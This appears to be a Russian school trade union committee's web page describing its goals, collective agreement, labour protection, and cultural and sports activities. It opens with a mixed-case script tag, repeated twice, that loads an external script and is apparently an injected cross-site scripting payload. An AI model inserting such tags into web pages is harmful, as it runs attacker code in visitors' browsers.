<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
В последние годы все активнее обсуждается вопрос о том, каким должен быть Профсоюз. При всем разнообразии, а иногда и противоположности взглядов, все сходятся в главном: Профсоюз должен быть сильным и независимым. Только тогда можно рассчитывать на успех в отстаивании и защите интересов работников.
Сила организации - в наличии высококвалифицированных специалистов, умеющих грамотно представлять интересы работников. Сила организации - и в массовости. Поэтому дело чести каждого педагога — быть членом Профсоюза работников, чувствовать свою сопричастность тем изменениям, которые происходят в обществе, влиять на процессы, происходящие в образовании, знать, что твой голос усиливается в миллионы раз, когда ты — член Профсоюза.
Основной целью профсоюза является: защита социально-трудовых прав и профессиональных интересов членов профсоюза.
Профком определяет основные задачи своей работы:
· Постоянно совершенствовать и поднимать уровень развития и укрепления социального партнерства между администрацией и профкомом.
· Активизировать работу профсоюзной организации по представительству и защите интересов членов профсоюзной организации, повышение социальной защищенности работников школы.
· Совершенствовать локальную нормативно-правовую базу деятельности первичной профсоюзной организации.
· Создавать благоприятные условия труда и отдыха работников школы.
· Совершенствовать формы и методы спортивной и культурно-массовой работы с членами профсоюза.
· Укреплять и развивать профессиональную солидарность, взаимопомощь и сотрудничества профсоюзных организаций и членов Профсоюза.
· Внедрять в практику работы профкома новые информационные технологии.
Деятельность профсоюзного комитета школы охватывает все стороны жизни педагогического коллектива: социальное партнерство, охрана труда, взаимодействие с администрацией, информационная работа, делопроизводство, летний отдых детей, забота о ветеранах педагогического труда, работа в тарификационной комиссии, комиссии по премированию.
Профком школы считает приоритетной задачей своей деятельности соблюдение и защиту законных прав и интересов членов первичной профсоюзной организации в условиях тесного сотрудничества и социального партнерства с администрацией школы.
Главная задача профсоюзного комитета - социальная защита членов профсоюза. Гарантом социальных и трудовых прав сотрудников является коллективный договор, поэтому одним из важнейших направлений работы профкома является заключение коллективного договора – главного документа по социальной защите сотрудников. Очередной коллективный договор был разработан совместно с администрацией школы в 2016 году и является правовым актом, регулирующим социально-трудовые отношения в нашем общеобразовательном учреждении.
В новом коллективном договоре нашли отражение вопросы заработной платы, условий и охраны труда и отдыха сотрудников, социально-бытовые льготы и гарантии, вопросы премирования, материальной помощи и различных доплат. Ежегодно заключается соглашение по охране труда.
Жизнь доказывает, что миссия органов образования и миссия профсоюзных органов – совпадающие вещи. Поэтому взаимопонимание в работе администрации и профсоюзного комитета очень важных фактор. Ежегодно составляется график отпусков, который учитывает интересы каждого работника и школы в целом, председатель профкома является членом тарификационной комиссии, члены профкома входят всостав.комиссии по распределению стимулирующего фонда оплаты труда.
Приятно отметить, что профсоюзный комитет всегда находил и находит понимание и поддержку у администрации школы, директором – Мейрамова Гульсум Жумагалиевна.
Благодаря заключению коллективного договора и гарантий развивается социальное партнёрство, которое помогает защищать права работников. Со всеми работниками заключены трудовые договоры, в которых чётко определены права и обязанности работников и работодателя, определены должностные обязанности. Профком и администрация осуществляет контроль за их выполнением. Ежегодно, в период тарификации, с каждым работником заключается дополнительное трудовое соглашение на новый учебный год.
Что касается оздоровительных мероприятий, то в этом плане детям повезло больше, чем взрослым. Ежегодно детям сотрудников школы предлагаются бесплатные путёвки в детские оздоровительные лагеря.
Администрация и профсоюзный комитет уделяют серьёзное внимание культурно-массовой работе в нашем коллективе. Раскрытию творческих способностей педагогов способствуют проводимые мероприятия: празднование дня Учителя (обязательно с приглашением ветеранов педагогического труда), новогодние ёлки для детей и сотрудников школы, праздничные «огоньки» 8 Марта, чествование юбиляров и поздравление ветеранов с праздничными датами. За эти годы у нас сложились определённые традиции (поздравлять юбиляров, с рождением ребёнка, с законным браком и т.д.) Такие мероприятия не обходятся без подарков. Ежегодно дети получают новогодние сюрпризы.
Профком является организатором и участником спортивных соревнований, проводимых в школе. В районной спартакиаде работников образования школа, несмотря на немногочисленный состав коллектива, выставляет полноценную команду и добивается неплохих результатов.
Сила профсоюза в массовости, единстве и солидарности, в совместных коллективных действиях. Сильный профсоюз – это неравнодушные люди!